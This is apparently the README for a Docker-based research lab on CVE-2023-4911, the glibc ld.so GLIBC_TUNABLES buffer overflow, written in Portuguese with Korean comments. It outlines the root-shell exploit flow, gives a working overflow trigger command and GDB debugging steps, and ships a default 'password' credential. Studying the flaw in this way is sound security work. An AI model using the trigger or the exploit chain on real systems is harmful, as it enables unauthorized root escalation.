
# Laboratório baseado em Docker para CVE-2023-4911, para análise do estouro de buffer do glibc ld.so e desenvolvimento de um exploit de escalonamento local de privilégios com depuração via GDB.
Ambiente de prática baseado em Docker para análise da vulnerabilidade de buffer overflow (Escalada de Privilégio Local) no carregador dinâmico da GNU C Library (glibc) e desenvolvimento de exploit.
| Item | Conteúdo |
|---|---|
| Número CVE | CVE-2023-4911 |
| Alias | Looney Tunables |
| Alvo vulnerável | GNU C Library (glibc) 2.34 ~ 2.38 |
| Versão vulnerável | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 ou inferior |
| Versão corrigida | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| Tipo | Buffer Overflow no ld.so |
| Impacto | Escalada de Privilégio Local (usuário comum → root) |
| Descoberta | Qualys Security Research Team |
O carregador dinâmico glibc (ld.so) analisa a variável de ambiente GLIBC_TUNABLES durante a execução do programa.
Quando um binário SUID é executado, __libc_enable_secure = 1 é definido, e o ld.so entra no caminho de código que anula (nullify) essa variável de ambiente.
Nesse processo, um cálculo incorreto de comprimento para entradas no formato tunable1=tunable2=value causa um buffer overflow.
일반 바이너리: __libc_enable_secure = 0 → nullify 코드 미진입 → 취약점 없음
SUID 바이너리: __libc_enable_secure = 1 → nullify 코드 진입 → 버퍼 오버플로우 발생
Fluxo do exploit:
GLIBC_TUNABLES 오버플로우
↓
ld.so BSS 영역 link_map 포인터 덮어쓰기
↓
라이브러리 검색 경로를 evil_lib/ 경로로 변조
↓
evil.so 로드 → constructor 자동 실행
↓
setuid(0) + execve("/bin/bash") → root shell 획득
Este ambiente foi projetado para ir além da simples execução de PoC, visando analisar diretamente o princípio de funcionamento da vulnerabilidade e desenvolver um exploit.
ld.so e o binário executável possam ser analisados juntosresearcher) para rootCVE-2023-4911/
├── Dockerfile # 취약 환경 이미지 정의 (Multi-stage 빌드)
├── run.sh # Docker 빌드/실행 관리 스크립트
├── check_environment.sh # 컨테이너 시작 시 환경 자동 검증
├── poc/
│ ├── exploit.py # 기본 PoC — crash(SIGSEGV) 확인용
│ ├── exploit_lpe.py # LPE 익스플로잇 — GDB 분석 후 완성
│ └── evil_lib/
│ ├── evil.c # root shell 실행하는 악성 공유 라이브러리
│ └── Makefile
└── test_targets/
├── test_suid.c # SUID 테스트 바이너리 소스
└── test_heap.c # 힙 할당 테스트 바이너리 소스
./run.sh build && ./run.sh run
O contêiner solicitará a senha sudo ao iniciar.
비밀번호: password
# SIGSEGV 발생 여부 확인
python3 /workspace/poc/exploit.py --check-only
# 직접 트리거
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# 컨테이너 내부 직접 분석
gdb -q /workspace/test_targets/test_suid
# 원격 디버깅 (gdbserver)
# 컨테이너 내부
gdbserver :1234 /workspace/test_targets/test_suid
# 로컬 호스트
gdb
(gdb) target remote localhost:1234
Após analisar OVERFLOW_OFFSET e TARGET_ADDR com GDB, atualize os valores no início do exploit_lpe.py e execute.
python3 /workspace/poc/exploit_lpe.py
| Comando | Descrição |
|---|---|
./run.sh build | Construir imagem Docker |
./run.sh run | Executar contêiner em modo interativo |
./run.sh analysis | Executar modo de análise |
./run.sh test | Verificação rápida de vulnerabilidade |
./run.sh clean | Limpar imagens e contêineres |
| Item | Conteúdo |
|---|---|
| Imagem base | ubuntu:jammy-20230916 (anterior ao patch) |
| Versão glibc | 2.35-0ubuntu3.3 (vulnerável) |
| Versão ld.so | 2.35-0ubuntu3.3 (vulnerável) |
| Conta de análise | researcher / password |
| Fonte glibc | /workspace/glibc-source (2.35) |
| Porta principal | 1234 (gdbserver) |
| Opções do contêiner | --privileged, --pid=host |
# 취약 함수 위치
/workspace/glibc-source/elf/dl-tunables.c
# 주요 함수
__tunables_init() # 진입점
parse_tunables() # 오버플로우 발생 지점
tunables_strdup() # 버퍼 할당
# strace로 시스템 콜 추적
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# GDB로 __tunables_init 분석
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
Este ambiente deve ser usado apenas para fins educacionais e de pesquisa em segurança.
--privileged, portanto, use apenas em um ambiente isolado.